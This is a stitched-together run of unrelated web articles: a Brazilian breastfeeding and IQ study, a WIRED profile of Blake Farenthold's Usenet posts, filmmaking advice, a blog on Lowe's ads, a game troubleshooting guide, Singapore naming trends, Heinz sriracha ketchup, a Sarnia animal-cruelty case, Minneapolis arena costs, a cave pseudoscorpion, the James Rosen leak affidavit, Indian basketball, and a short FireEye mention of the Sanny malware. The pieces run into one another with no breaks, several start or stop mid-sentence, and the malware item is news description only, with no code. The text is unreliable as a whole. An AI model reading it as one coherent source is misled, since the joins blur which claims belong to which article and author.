The latest addition to this perspective is a long-term study of infants born in Pelotas, Brazil, in 1982. Published in Lancet, the study interviewed 5,914 new mothers about their plans for breastfeeding and then followed up to see how they did.
"Information on breastfeeding duration was collected very close to the time when weaning happened, so we had a very precise information on the duration of breastfeeding," said study author, Dr. Bernardo Lessa Horta, in a podcast on Lancet.
What makes this study unique is that it followed the subjects all the way to age 30.
"We were able to follow about 68% of the participants, which is a very good follow-up rate," said Lessa Horta. "We observed that breastfeeding was positively associated with performance and intelligence at 30 years old, as well as with education, school achievement and higher monthly incomes."
In fact, Lessa Horta said the subjects who had been breastfed for 12 months or longer had a higher IQ (about 3.7 points), more years of education and earned roughly 20% more than the average income level.
"It's suggesting that the positive effect of breastfeeding on IQ leads to a higher income," he said. "This is our main finding at this moment."
One possible reason for the advantage of breast milk, Lessa Horta added, is that it is "rich in long-chain polyunsaturated fatty acids which are important to brain growth and development." Called LCPUFA for short, these essential fatty acids are found in salmon and shellfish and have been added to infant formulas since the 1990s. However, the benefit to mental or psychomotor development from adding LCPUFA to infant formula is unclear
Because the study did not measure home life, intellectual stimulation or bonding between mother and child, it was not able to tease out whether these factors may have also contributed to the increase in IQ. That leaves it open to critics, such as Texas A&M Professor Joan Wolf, author of " Is Breast Best?
"This study does not address the very real possibility that mothers who choose to breastfeed, regardless of income or education, distinguish themselves from those who bottle-feed in all kinds of ways that are likely to promote intelligence," Wolf wrote CNN.
For Lessa Horta, the implications of his study are clear: "The finding supports the promotion of breastfeeding. It's more evidence that besides the clear short term benefits, breastfeeding also has long term consequences in terms of human potential."Last week, representative Blake Farenthold of Texas lamented on the radio that some "female senators from the Northeast" stood in the way of repealing the Affordable Care Act. "If it was a guy from south Texas," he said, "I might ask him to step outside and settle this Aaron Burr-style," suggesting he'd love to duel, say, Susan Collins of Maine. But who really is Blake Farenthold (besides a man who jokes about shooting his colleagues and an actual pajama boy)? Based on his early internet Usenet messages, Farenthold is a man who cares deeply about the accuracy of Die Hard 2's telecom tech, and also that Jimmy Buffet videos be full of boobs.
It's not too surprising that Farenthold was big on BBS in the internet's early days, considering his history. He received a bachelor's degree in Radio, Television, and Film in 1985, and even ran a computer consulting and web design firm before entering politics.
So it makes sense that on July 9, 1990, Farenthold wrote the following in the comp.dcom.telecom newsgroup under the title "Die Hard 2 Dies on Telecom":
He may be the Neil deGrasse Tyson of the early 1990s telecom BBS community, but honestly, inane but glaring and wholly avoidable mistakes ruining a movie is perhaps the most sympathetic position that Farenthold's early postings stake out.
A spokesperson for Farenthold's office confirmed that this is indeed the same Blake Farenthold, noting that "he has been using the internet since the 1980s." And boy, has he ever!
In that same telecom newsgroup, Farenthold—the one-time owner of Blow-me.org—also revealed his strategy for dealing with his apparent "possessive woman" problem:
It's worth noting that, in 2014, Farenthold's former communications director sued him for sexual harassment. Farenthold eventually settled out of court, denying any wrongdoing.
But the Corpus Christi congressman didn't just use the boards to talk telecom. As an apparent "Parrothead," fond of sharing margarita recipes, Farenthold participated in the alt.fan.jimmy-buffett newsgroup, writing at one point in 1996 that he'd "planned on partying in the parking lot for about an hour or so" before a Jimmy Buffet show in Austin. He then noted that "the location video in Austin was, however better than the one in Dallas, several women bared their chests for the video camera in Austin. The Debutaunts [sic] in Dallas are a little too stuck up to do that :-)."
Back in October, when The Washington Post published a tape of Donald Trump bragging about sexual assault, MSNBC host Chris Hayes asked Farenthold if he'd unendorse Trump if Farenthold heard him talking about raping women. Farenthold responded, "Again, I—I—that would be bad. I would have to consider—I’d consider it.” He later took to Twitter to apologize for his "failure to immediately condemn anyone who would say something as outrageous as they like raping women.” This, of course, has nothing to do with BBS newsgroups in the ’90s. Though it does continue to astound.
Clear History is WIRED’s occasional deep dives into the lesser-known internet lives of the rich and powerful. Think you found someone's online identity? Let us know here.Many directors fall into one of the common traps described below, ultimately preventing their film from becoming a success. It’s all about execution.
Image from Northfoto / Shutterstock.com
Directing at it’s core is simply the subjective execution of an idea. It’s one individual’s unique take on a story, set of characters, and themes. It goes without saying that every director is going to make their own unique choices both on and off set, and this individuality is what makes films so dynamic and surprising to watch – yet nearly all directors at one point or another make one of the critical mistakes that are outlined below.
So whether you’re a seasoned director, or just getting ready to shoot your first film, the four mistakes listed here should always be taken into account when working on a film project, as they are powerful enough to be detrimental to your final picture.
Image from Vancouver Film School on Flickr
1. They DON’T Make Films For Their Viewers
Personally speaking, this is the mistake that I have most commonly fallen into when directing films. So often when we direct, we have our own personal biases in mind (as we should), but there is a time and a place to let those biases go, and start to think from the perspective of the viewer.
You need to remember that you are making your film for your audience – not yourself. At least that’s how it works if you want to make a career out of directing. If you intend to simply make art films for yourself to satisfy your own need for a creative outlet, then that is fine – but you will never have a large audience with this type of mentality. Yes, you want to be true to yourself and put your own spin on things, but you also need to understand the needs of your audience. Put yourself in their shoes and imagine their experience with your film.
For example. you might be tempted to cut out backstory details from a scene when shooting or editing it, because it feels too contrived to you, but you need to remember that your audience may need this information to connect with the story. Just because your personal taste may be more subtle, doesn’t necessarily mean that’s what your audience needs.
So while you always want to stay true to your vision and style, remember to do so in the context of a film that can still be commercially and creatively viable.
2. They DON’T Make Their Protagonist Likeable
This is an issue that plagues directors and screenwriters alike. Some of the most interesting characters that we can develop on or off screen are not necessarily going to be the most likeable, and this is fine so long as it doesn’t apply to the protagonist.
You need to remember that when your audience watches your film they are essentially becoming your protagonist. They are putting themselves in his or her shoes and remaining connected to the entire story through that character. The second the protagonist is not likeable is the second that your audience disconnects from that character, and inevitably the film. This point is something that you need to be conscious of throughout your entire filmmaking process – from working with your writer to create a dynamic and likeable character, to casting an actor that is charismatic, all the way through to editing in the right takes that capture the individuals true personality.
Making a likable protagonist is actually quite simple once you recognize the importance of it and make creative decisions throughout the filmmaking process with you character’s likability in mind.
3. They DON’T Trust The Intelligence Of Their Audience
Audiences today have truly seen it all. The average movie-goer has seen thousands of hours of film and television content and in many ways knows the story you are about to tell before you even tell it. Unfortunately many directors today seem to underestimate their audiences and believe that they need their hands held through every last scene and detail in order to understand the story.
As a general rule, you always want to stay a step ahead of your audience (except in certain specific genres or instances), which means you need to trust them to follow along. If you spell out the next plot point for them before it actually happens, they are going to become bored and disinterested very quickly.
You need to surprise your audience. Show them something that they haven’t seen before, and that they will never see coming. Because if you don’t do that, it doesn’t matter how great your story, your actors, and your production value are – they just won’t care.
4. They DON’T Know When Enough Is Enough
There is a time and a place for a 3 hour film, but for the most part shorter is often better when it comes to feature films. Unless you are directing an epic story that spans generations or has multiple interwoven plot lines, there is no reason why the average film needs 180 minutes to get the story across. These days however, it seems we are seeing more and more ultra-long films (likely because of the ramifications of shooting/editing digitally), and in the majority of cases it is being done to the detriment of the final product.
Often times directors make the mistake of believing that providing their audience with a longer cut makes the film feel more substantial or valuable, but in reality it usually has the exact opposite effect. Shorter films tend to only include the absolute best takes and most captivating moments (even if it means making painful decisions in the editing room), whereas longer films will often include additional scenes or moments that create a meandering and redundant feeling to the final piece. On nearly any film that I have directed, I had enough raw footage to make the film twice as long as I did in the end, but I always chose to have a tighter film with only the best moments packed in, rather than a longer film with a bunch of filler. In the end, it might be hard to lose some of those moments or scenes that you worked so hard for, but your audience will thank you for it.Lowe’s wants you to know that if mom wants to go out and buy stuff for the home while dad’s at home playing with the kids, that’s totally cool. And the result, not-surprisingly, is that it’s totally cool. But then Lowe’s also wants you to know that if mom is on a business trip and dad’s home with the kids for longer than an afternoon, well…hold onto your pantsuits.
Or something.
All three spots are by BBDO, which was also responsible for a couple of dadcentric commercials this year, including a good one for AT&T, starring paralympian Heath Calhoun, and a less-good one for Embassy Suites. This makes BBDO an agency to watch in the fatherhood market; they get it. Even if BBDO isn’t hitting the bullseye every time, they’re aiming for the target.
Anywho, check out these two Lowe’s commercials, featuring dads playing with their kids:
Right? Dad’s so involved playing peekaboo, that in a parallel universe where your indecisiveness at the hardware store actually shapeshifts your house around its occupants, he doesn’t even…well yeah, you get the idea. No problems here. Dad’s involved, mom’s spending money. Next…
Dad’s having his son hit baseballs toward the house so that he can have an excuse to get it remodeled! Okay, not really, but it works out nicely, since mom is at Lowe’s choosing outdoor furniture.
So then there’s this spot Lowe’s and Valspar paint:
This commercial lies somewhere between totally-sexist and totally-forward-thinking since you’ve got mom who’s still dressed for corporate America in the evening, after the “kids are fed, homework is done, baths are taken.” Dad is in a position that anyone – man or woman – should be terrified of: three kids under 10 years old, home with one parent who’s used to tag-teaming the kids alongside their spouse. I’d be impressed too, just as mom is.
Does this commercial insult fathers, by suggesting that he’s incompetent? Probably not. Most people would probably chuckle and say “LOL, dad mess! So true!” But the suggestion (and excuse me while I nitpick subtext) is that keeping a tidy home isn’t as important to him as it is to mom, so he’s got to lie to his wife – and encourage the kids to lie to their mother – about the well-being of the house. That’s the “on one hand”, so naturally, on the other hand, the kids are fed, the homework is done and baths are taken. Unless, of course, dad was lying about that too. Was he? We’ll never know.
The three Lowe’s commercials together paint (with Valspar!) a picture of a changing landscape of parenthood, one where dads can be home with children while moms are out shopping or on business trips. And that’s a good thing. Lowe’s could have cut dad out of the “Peekaboo” and “Baseball” commercials completely and just showed a mom at Lowe’s with her kids.
The third one uses dad as a punchline, albeit a light one, but also shows a dad who is home with his kids for what is understood to be a multiple-day stint without mom. Sure, that third commercial is sullied with lies and handprints higher than hands could reach. But dad was home with the kids – mostly depicted as unafraid and he had a solution for his problem. If we’d seen dad out-of-sorts with the kids running wild as mom walked in the door and she had to offer the solution of simply wiping the walls, I’d feel differently about this commercial.
Regardless, I’m keeping an eye out for BBDO. I think we’re going to see some great stuff from them this year depicting fatherhood.
How did you like these commercials? Do they portray a realistic image of the modern family?Troubleshooting, Patch Notes, DLC Info
Launch Crashes / No Display
Gameplay Crashes / Freezes
Saves
Sound
Graphics
Performance
Controls / Input / Camera
Language / Translation
Steam
Gameplay
Misconceptions
1. Launch Crashes / No Display
Try going into the Steam\steamapps\common\Tales of Zestiria\_CommonRedist\ directory and running the installers under those directories.
If you have an Nvidia graphics card and are using Nvidia DSR, try disabling DSR to see if it is your issue. It works for some, but might be causing crashes for others.
Make sure the game downloaded properly. Go into your Steam library and right click on the game, then select Properties. Select the Local Files tab and click Verify Integrity of Game Cache.
Try Windows compatability modes. Go into your Steam library and right click on the game, then select Properties. Select the Local Files tab and click Browse Local files. Right click on the "Tales of Zestiria.exe" and go to Properties. Under the Compatability tab you can try setting it to Windows 7.
Another immediate crash would be the rarer DirectX Error, which is mentioned just a bit further down in the post.
If none of these help, try the solution for the Black Screen / Monitor out of range issue below, as the config file there might help even if your problem is slightly different.
Make sure your audio quality is set to 44.1khz in your system's sound control panel.
You can usually do this by right clicking on the volume icon in your task tray, then clicking Playback Devices.
Select the device with the green checkmark next to it, then click Properties.
Go to the Advanced tab and change it to 16 bit, 44100hz.
Try using Alt+TAB to tab out, and then Alt+TAB back into it. This helps some people.
If the above does not help, you may need to create a config file. You can try using the Kaldaien's Tales of Zestiria Tweak Tool or to do it manually, locate or create this directory: C:\Users\_username_\AppData\Local\BANDAI NAMCO Games\Tales of Zestiria (replace _username_ with whatever your system username is)
If there is no TOZ.cfg file in that directory, you can download one I've created with safe settings that should start the game in windowed mode so you can at least get into the game and change the settings yourself |
has also seen a "slight" increase" in Singapore-born Chinese who change their names as they do not want to be mistaken for Chinese immigrants, though some new citizens do this too. Usually, this involves adding a space between the last two characters, and replacing a pinyin surname with a dialect version: Zhang Haiming, for example, becomes Teo Hai Ming.
Associate Professor Lee Cher Leng from the National University of Singapore's Department of Chinese Studies has spent the past few years teaching a module titled "Bridging East and West: Exploring Chinese Communication".
"We are at the crossroads of East and West," she said. "Some of my students, who have Western names, also have Chinese names that were picked through fengshui."
She said that about 40 per cent of the 350 or so students who took her module this year have Western names. About 7 per cent have names with traditional dialect romanisation.
She has also seen more students with Western names, and Chinese names that echo or complement the sound of these Western names. For instance, Anna Yeo might simply be "Yang An Na" in Chinese.
A "surprising" 27 per cent of her students were named after their parents had consulted geomancers.
Today, geomancers who offer naming advice based on a person's birth profile, or bazi, are still very much sought after.
Huaxia Taimaobi Centre, for instance, has seen a 5 per cent yearly increase over the past five years in the number of parents asking for help with baby names.
Geomancers suggested two reasons for this continued demand - first, people are more careful when it comes to choosing names for the few children they have, and second, young parents are now less proficient in Chinese.
For example, at Huaxia Taimaobi Centre, many clients cannot write their Chinese names without first checking their identity cards, a spokesman said.
Geomancers there, and those at Way Fengshui Group, told The Straits Times that a small number of Chinese - about 5 per cent of their clients - still consult their family genealogy books, also known as jiapu or zupu.
These books, which typically begin with the ancestor who first settled in a place and started his family there, track the lineage and history of clan members and record their achievements.
Many of them contain generation poems, whose successive characters become the successive middle characters, or generation names, shared by all in each generation.
Most Chinese names have three characters: one for the surname, followed by two for the given name.
In Singapore, Hainanese and Foochow people are more likely to consult a jiapu, possibly "because they are more tight-knit and traditional, given that they are the smaller dialect groups", Prof Lee said.
Retiree Loi Boon Lim, 68, hails from one such Hainanese family, whose members' middle characters are taken from a 30-character generation poem written by a family scholar around the middle of the Ming Dynasty. With allusions to scholarliness, virtue and valour, it spells out the Loi ancestors' aspirations for their descendants.
Mr Loi, the eldest son in his family, possesses a string-bound, typewritten jiapu compiled in the 1980s. "In Qionghai, Hainan, there are nine branches of Lis. Each branch has one family poem. My family belongs to just one branch."
Mr Loi belongs to the 32nd generation of Lois descended from ancestors who settled in Hainan Island in China. While the poem continues till the 46th generation, his family might switch over to another poem from the 37th generation onwards: In the late 1980s, the Lois in Hainan Island came up with a new 50-character poem, which Mr Loi describes as "an ambitious plan to standardise the whole Hainan Island".
In China, many families have lost their links to their jiapu, which were destroyed during the Cultural Revolution. In Singapore, some families stopped following it after converting to Christianity.
Unlike Mr Loi's family, the names of the men in Mr Khoo Yik Lin's family come from a four-character Chinese idiom. The middle characters for four generations of men in the Khoo family, when strung together, form the saying yan nian yi shou, or "increase longevity".
Mr Khoo, 42, a senior director in the social sector, has four-year-old twin boys Shou Wen and Shou Wu, and a seven-year-old daughter Hui Ning. Since shou is the last character in the saying, he said that as the next patriarch, he will have to pick a new saying.
Prof Lee's student Yeo Ze Wei Sean, 24, said his family stopped following the centuries-long jiapu naming tradition after his great-grandparents died. Mr Yeo, who is descended from wealthy Chinese merchants, said his great-grandfather used an alias that was closely associated with the shops he owned in Malaysia.
Mr Yeo, who is proud of his Teochew roots, wants to give his future children dialect names as a way of preserving tradition. "A person without history has nothing to hold on to. There's no anchor."
Fewer changing their names in IC
Fewer people in Singapore have been changing the names on their identity cards in recent years.
Between 2014 and last year, the Immigration and Checkpoints Authority of Singapore approved about 4,400 name changes on identity cards each year - down from 6,000 changes a year between 2011 and 2013.
Law firms said they observe a growing demand from certain groups of people who want to change their names through a legal document known as a deed poll.
For instance, lawyer Eben Ongsaid in the last five years, his firm has seen a 10 per cent to 20 per cent increase in the number of children having their names changed.
There are parents - across all races - who get their children's names changed before they get their identity cards, when they are about 15, he said. About 20 per cent to 30 per cent of his clients are below 21.
Lawyer Maurice Oon said about half of his deed poll clients these days are below 25. About three years ago, it was about 25 per cent.
Common reasons for name changes include a desire to add Western names to official names, fengshui, and parents getting divorced. And parents may now be more aware that they can change their children's names, Mr Ong added.
Since 2014, there has been a 10 per cent increase in the number of people replacing their Chinese given names with Western ones, Mr Ong said.
There has been another trend: an uptick in the number of lesbian, gay, bisexual and transgender or LGBT people who are getting their names changed.
Mr Ong's law firm has seen a10 per cent increase in such cases over the past five years.
Meanwhile, lawyer Chan Su Ying, from W. M. Low & Partners, said her firm has seen a 20 per cent to 30 per cent increase over the same period in LGBT people changing their names to ones that better reflect their sexual orientation.
A person with a Christian female name, for instance, might change it to something that is less gender specific, like "Sky", she said."About time," says America. Photo: Heinz
General opinion has long held that there are two indisputably perfect condiments, marvels of culinary engineering that no reasonable person can improve upon: Heinz ketchup and sriracha hot sauce. Yet not so long ago, if you took to Google to search for the phrase “Heinz sriracha,” to see if by some chance the two had ever been combined, you would likely wind up on an import site, looking at some traditional Thai sriracha that Heinz apparently markets outside the U.S. That all changed today, though, when Heinz North America sent out a media blast informing the world that they now sell sriracha-spiked ketchup — officially dubbed “Heinz Tomato Ketchup Blended with Sriracha Flavor” — for the condiment-craving masses.
According to the press release, this will basically become the stuff you put on everything you eat from now until the end of time:
“We are thrilled to announce that Heinz Tomato Ketchup Blended with Sriracha Flavor will join the beloved Heinz Ketchup portfolio,” said Joseph Giallanella, Brand Manager of Heinz Tomato Ketchup. “Building off of our successful line of flavored ketchups, fans told us that they would love another bold take on their favorite condiment. The new offering adds a new kick to your favorite foods and recipes, pairing well with cheeseburgers, French fries and hot dogs, and is the perfect flavor boost for chicken and eggs.”
Why stop there? Got a grilled-cheese sandwich that needs to be bolder? Sriracha ketchup. Feeling like your pizza is missing a little … something? Sriracha ketchup. Are you stranded in a cabin in the woods and your food supply has been depleted to the point where the only thing left to eat is a dead gopher and you’re looking for something — anything — that will make the gopher seem at least marginally palatable?
Sriracha ketchup.
$2.69 per bottle, now available at your local Target or Walmart. Or, if you want to go all-in — and you do — pick up a ten-pound bag of the stuff.
God bless America.CTV London
Sarnia police say a second arrest has been made in connection with the pellet gun shooting of Joe the cat.
Investigators say a 20-year-old Sarnia man was arrested around 8:30 a.m. Wednesday morning in the southeast area of the city and is being held in custody.
Police say he will face charges of one count of willfully causing unnecessary suffering and one count of willfully injuring an animal. His name has not been released.
Also Wednesday, the first man arrested in the case - 19-year-old Christopher Hammond of Sarnia - appeared in court and was granted bail.
He is facing two counts of animal cruelty, two counts of possession for the purpose of trafficking and one count of possession of a controlled substance.
He is scheduled to appear in court again on March 20.
Outside the courthouse a group of protesters was hoping to raise awareness about animal cruelty and try to push for harsher penalties.
Joe the cat was discovered by the side of the road in Brights Grove, just east of Sarnia, on Feb. 2 suffering from 17 pellet wounds to his head.
Surgery has since removed 16 of the pellets, and the Sarnia and District Humane Society has said Joe is recovering well at the Blue Cross Animal Hospital.The cost of the Target Center renovation is increasing to $150 million, a notable increase from the current $128.9 million budget approved two years ago by the Minneapolis City Council.According to a city staff report: “The Minnesota Timberwolves and Lynx would like to add scope to the project and are willing to increase their expense for project costs.” The increase for the Target Center overhaul is up for discussion at City Hall on Tuesday before the Community Development and Regulatory Services committee of the Minneapolis City Council.The city’s report indicates that the team will “guarantee the payment” of costs covering seat replacement and a new skyway, estimated to cost $6.5 million.According to the report: “The team will also finance and pay for all additional costs related to certain other scope changes and improvements they and/or the design group desire (e.g. video ribbon board, wi-fi, upgrades to certain finishes, team store, additional digital video signs in arena, locker room upgrades) that are currently estimated at $7 million.”While project costs are climbing, the outlined plan calls for keeping the city’s contribution unchanged at $74 million.But the city will look to tap other sources with plans to reinvest anticipated sales tax and energy efficiency rebates into the project. The report also notes that it expects the state to provide funding towards the proposed skyway that will improve access between the arena and the state-owned parking ramps.At a price of $150 million, the price tag is essentially back to the number originally outlined six years ago ($155 million) in February 2011 when the team and the city unveiled the proposed renovation.With an eye towards keeping a lid on costs, the city council approved a significantly pared back project budget of $97 million in November 2013. But by the spring of 2015, the city gave the green light to a revised budget of $128.9 million, citing increasing construction costs and that some project elements would cost more than originally estimated.The new budget increase must ultimately be approved by the full city council, which next meets on January 27. The city of Minneapolis owns the arena, which opened in 1990. The ongoing renovation project began in 2016.The original deal called for the city of Minneapolis to pay $74 million, the Timberwolves to cover $49 million and arena manager AEG to kick in $5.9 million.City of Minneapolis offices were closed on Monday for the Martin Luther King Jr. Day holiday. A representative of the Minnesota Timberwolves and Lynx could not immediately be reached for comment.Minnesota billionaire Glen Taylor owns the majority of the Timberwolves and Lynx. Last fall Taylor sat down with Twin Cities Business for an extensive interview focused on the business of basketball.Unless you've been living in a cave, you probably haven't run across this new species of poisonous, nearly blind pseudoscorpion.
The 0.5-inch-long (1.3-centimeter-long) species, Cryptogreagris steinmanni, was discovered recently in high-altitude caverns near Glenwood Springs, Colorado.
Pseudoscorpions are essentially scorpions that lack a stinging tail. However, the new species does have long, venom-tipped pincers that likely help it nab agile prey, such as springtails, in the gloom.
Most likely, the new pseudoscorpion lives only in Glenwood Caverns and Historic Fairy Caves, the study authors say.
"A lot of these caves are islands, almost like an isolated environment where invertebrates... evolve into being adapted to underground life," said biospeleologist David Steinmann, a zoology department associate with the Denver Museum of Nature and Science. Steinmann collected the new species after it was discovered in 2000 by tour guide Micah Ball.
With its primitive eyes and pale color, the arachnid is perfectly suited to its dark, chilly existence and has probably been scurrying through the passages for millions of years, Steinmann said.
New Pseudoscorpion Elusive—Until Now
Little is known about C. steinmanni, but it's thought to be rare, relatively long-lived, and able to curl up into a defensive ball when threatened.
The animal went unnoticed for so long because it blends in well with the rocks—and because few people have been crawling around caves looking for tiny creatures.
Steinmann, an avid caver, has discovered more than a hundred new invertebrate species so far in Colorado caves, including at least seven in Glenwood Springs alone. (See cave pictures.)
"It's always fun to see what's out there."Ever since a Monday Washington Post article revealed that the Department of Justice investigation into a national security leak included searches of Fox News reporter James Rosen‘s email and phone records, the media has been focused on fluffing up comparisons of that case with the unfolding Associated Press leak investigation. Lost amid the hype and hysteria over the searches was the actual content of the emails between Rosen and his alleged source, then-State Department contractor Stephen Jin-Woo Kim. In those emails, now confirmed to be from Rosen, the Fox News Reporter reveals his noble intentions for seeking secret information from Kim.
The Justice Department investigation stems from an alleged leak that appeared in this 2009 Fox News article by James Rosen:
U.S. intelligence officials have warned President Obama and other senior American officials that North Korea intends to respond to the passage of a U.N. Security Council resolution this week — condemning the communist country for its recent nuclear and ballistic missile tests — with another nuclear test, FOX News has learned. What’s more, Pyongyang’s next nuclear detonation is but one of four planned actions the Central Intelligence Agency has learned, through sources inside North Korea, that the regime of Kim Jong-Il intends to take — but not announce — once the Security Council resolution is officially passed, likely on Friday.
Ordinarily, Fox News would be among the first people to tell you that we don’t tip off our enemies that we have sources deep within their governments. In fact, James Rosen would be the first to tell you that, in the same article:
FOX News is withholding some details about the sources and methods by which American intelligence agencies learned of the North’s plans so as to avoid compromising sensitive overseas operations in a country — North Korea — U.S. spymasters regard as one of the world’s most difficult to penetrate.
Yes, you have to wonder what a North Korean leak investigation looks like. Probably involves all kinds of search warrants and phone records and due process.
From the minute WaPo released its story, the press has been fluffing the details for maximum Scandalabra™ impact, comparing the Kim investigation with the DOJ’s seizure of the Associated Press’ phone records, and breathlessly reporting that the Justice Department “Tracked Rosen’s Movements,” and “Obtained His Personal Emails.”
You can think what you will of the investigation, but a review of DoJ documents reveals that they “tracked Rosen’s movements” by checking the government’s own records of ID badge use. By that logic, you could say that the Secret Service and the White House “track” my movements. Attica! Attica! Attica!
Furthermore, the emails and phone records they seized, as the warrant affidavit notes, were exclusively for communications between Rosen and his alleged source, not the wide net that the headlines would suggest. Apparently, those records included a phone call between the source and a phone number either located at, or billed to, Rosen’s parents’ address, which led many to declare that Baier was saying the Justice Department targeted James Rosen’s parents as well.
What Baier actually said (emphasis mine) was that “the seized toll records also relate to James’ parents’ home in Staten Island.”
Fox News and much of the mainstream media have gone out of their way to make the DOJ investigation of Rosen seem as abusive as possible, and an extension of the AP leak investigation story, but a cursory review of the government’s affidavit reveals that the DOJ developed probable cause to conduct a much narrower investigation of Rosen by first examining the alleged leaker’s emails, work phone records, and the State Department’s ID badge records. Much has been, and perhaps should be, made of the affidavit’s characterization of Rosen as “an aider and abettor and/or co-conspirator in the crime,” but since he has not been charged, it would appear the government was deploying that legal theory primarily to support searching Rosen’s emails, rather than voluntarily asking for them:
Other than asking the Reporter for a voluntary production of emails from (gmail account), there is no other way to get the evidence we rightfully seek. Because of the Reporter’s own potential criminal liability in this matter, we believe that requesting the voluntary production of the materials from the Reporter would be futile and would pose a substantial threat to the inegrity of the investigation and of the evidence we seek to obtain by the warrant.
Whatever you think about the Kim investigation, it’s a good deal different from the way it’s being portrayed. Unlike the AP investigation, the DOJ obtained search warrants that appear to have been appropriately narrow in scope.
The emails revealed in the government’s affidavit appear to show, however, that James Rosen’s solicitation of government secrets wasn’t nearly so narrow. The affadavit describes how Rosen assigned himself the codename “Alex,” and Mr. Kim the moniker “Leo,” and in their early contacts, explained the noble aims of their prospective relationship:
Thanks Leo. What I am interested in, as you might expect, is breaking new ahead of my competitors.
Sure, that sounds bad, as if James Rosen would jeopardize America’s contacts in a hostile foreign government just to get some eyeballs away from his competition, but surely, every reporter has this competitive urge. Although it was the first thing Rosen mentioned, there was another consideration. After outlining the kinds of secret information he hoped to get from “Leo,” Rosen summed up his intention to… report the news objectively? To serve the public?
Let’s break some new, and expose muddle-headed policy when we see it – or force the administration’s hand to go in the right direction, if possible.
Wait, what? Is that what a News reporter is supposed to do, force the administration’s hand to guide American foreign policy to the reporter’s whim? Separate and apart from the DOJ investigation, this email seems to indicate that James Rosen is not just a News reporter, but an activist intent on pushing his own agenda, with the stated goal of manipulating U.S. foreign policy.
For sheer amusement, though, the affidavit goes on to describe a comical unraveling of Rosen’s cloak-and-dagger codename facade:
Leo, You are most perceptive and I appreciate your inquiry. Call me at work on Monday… and I will tell you about my reassignment. In the meantime, enjoy your weekend! Alex (The electronic signature to this e-mail following the word “Alex” identifies the Reporter by the Reporter’s full name, phone number, e-mail address, and media organization.)
At least he didn’t say “Allow myself to introduce…myself. I’m Richie Cunningham, and this is my wife, Oprah.”
The press should continue to shine a light on the Justice Department’s handling of reporters in leak investigations, but it should do so honestly, and stop claiming that James Rosen was just a reporter doing his job. Unless they see that job as steering America’s global foreign policy.
Have a tip we should know? tips@mediaite.comWithout warning, basketball has made front pages in India. There were two pieces of news, within a few days of each other. The biggie was that the NBA now had the first Indian-origin player in its sights.
Simran “Sim” Bhullar, a 7ft 5in, 163.3 kgs, 21-year-old Canadian, the Ontario-born son of Indian immigrants, made it to the 2014 NBA draft. He was not one of 60 picked during the draft, but the next day, Bhullar signed a contract with the Sacramento Kings. He is not on their official 15-player roster yet but played for the Kings in the NBA Summer League in Las Vegas, which forms a pre-season tryout to size up rookies and the degrees of development needed for players to graduate from collegiate to NBA levels.
Bhullar’s presence in the draft could be just the push that the NBA has been looking for in trying to find its foothold in India, a large potential market that is big on numbers yet modest in performance when it comes to the sport. A 2011 New York Times profile of Bhullar contained a gentle reminder for basketball. Yao Ming, the first Chinese superstar in the NBA, was retiring from the Houston Rockets and the NYT said, “Asia is ready for its next great basketball ambassador.”
The timing for the Bhullar announcement with the Kings, though, is prescient. The NBA’s game in India, it could be argued, has now entered its final quarter. It is said, India’s pay-TV audience, close to 600 million, is expected to cross China’s by 2017. It is easy to forget that the NBA first came into Indian cable homes, live with Jordan and Bird in the early 1990s before European football. The Indian TV viewer, until then starved of world-class live sport, found themselves feasting at the high table. About two decades later, Indians make up for perhaps the most spoilt-for-sporting-choice TV audience in the world—all live at relatively low rates. It is here that the NBA must dig in its heels, mark its ground and try to gain larger territory. Competing with live cricket, football, F1, golf, tennis and other sport, it is going to have to tap into all the resources it can get.
Like what lies behind the Kings’ deal with Bhullar: as it happens, another Indian-origin first, which is where this entire tale could originally have been drafted. Sacramento Kings’ new owner Vivek Ranadive also happens to to the first Indian-born majority owner of an NBA franchise. With the franchise in danger of being taken out of Sacramento to Seattle last year, Ranadive was part of an ownership group that bought the Kings from their owners, the Maloof family.
Sitting courtside at the Summer League, Ranadive spoke to the NBA about his dream which he has termed ‘Basketball 3.0’—to make basketball “the biggest sport of the 21st century”. Fundamental to plans of such mega-expansion is the ability to generate passionate Indian interest. The purchasing power of India’s growing middle-class population is central to drive basketball into becoming as Ranadive’s described it—“the strong No.2” sport in India. In that most recent interview, Ranadive echoed the NYT’s sentiment: “What Yao did for China, we hope that players like Sim will do for India”.
Like Ranadive’s, the Bhullar story—or rather that of his parents’—has followed the familiar path of the Non-Resident Indian (NRI) success story. His parents, Avtar and Varinder, who migrated to Canada from Punjab, currently run a gas station in Toronto, and centered their uncommonly tall sons’ school and collegiate years around basketball. Sim and his 7ft 2in younger brother Tanveer went to prep basketball schools first in Canada and then in the US and earned athletic scholarships to play at New Mexico State University. This is where Sim made his name, winning collegiate titles and awards before making the draft and catching the Ranadive’s and the Kings’ attention.
The Sacramento Kings are the only NBA team to launch a Hindi version of their website (at an event where Shaquille O’Neal tried his hand at cricket). King’s president Chris Granger said in a statement that the new owners wanted the Kings “to become India’s home team” in the NBA.
India’s home team—the real, home grown one—produced the other set of basketball headlines, unrelated to Bhullar and the NBA, but deeply significant. The Indian men, nicknamed the Young Cagers, beat the Chinese 65-58 in the Asia Cup, a biannual competition between the continent’s top ten teams. India are ranked 61 in the FIBA world rankings to China’s No.12, No. 11 in Asia to China’s No.1. They made the Asia Cup quarter finals and finished seventh. Their victory over China led Bobby Sharma, the senior VP of global basketball for sport management firm IMG Worldwide, to say this on Twitter.
Karan Madhok, hardcore Indian basketball nut, and freelance writer, sorted these two pieces of news on his blog. The Bhullar news he said, was a “game-changer” for the Indian diaspora. What happened in Hubei China, happened to be, “a turning point” for the national basketball team’s programme.
From here, Indian basketball, thousands like Madhok will hope, must not turn its back on tomorrow.According to the FireEye Malware Intelligence Lab, Sanny is targeting Russian space research, information, education and telecom targets, stealing different kinds of passwords/credentials from the victim’s machine as well as credentials that Firefox remembers for different online services like Hotmail and Facebook. It also profiles the victims, collecting location, region and other relevant information.
“Looking at the human aspect of offensive cyber operations is one of the most interesting parts of a malware analyst’s day,” explain FireEye researchers Alex Lanstein and Ali Islam, in a blog post. “Malware that was generated by an algorithm, such as a polymorphic PDF, is a little boring because you know you aren’t fighting against a human on the other side of the keyboard. However, when dealing with nation-state sponsored intrusions, or at least deliberate attacks against a specific group of people, it’s interesting to look at the different stages of the attack, from victim selection, to attack method, to what kind of data is exfiltrated.”
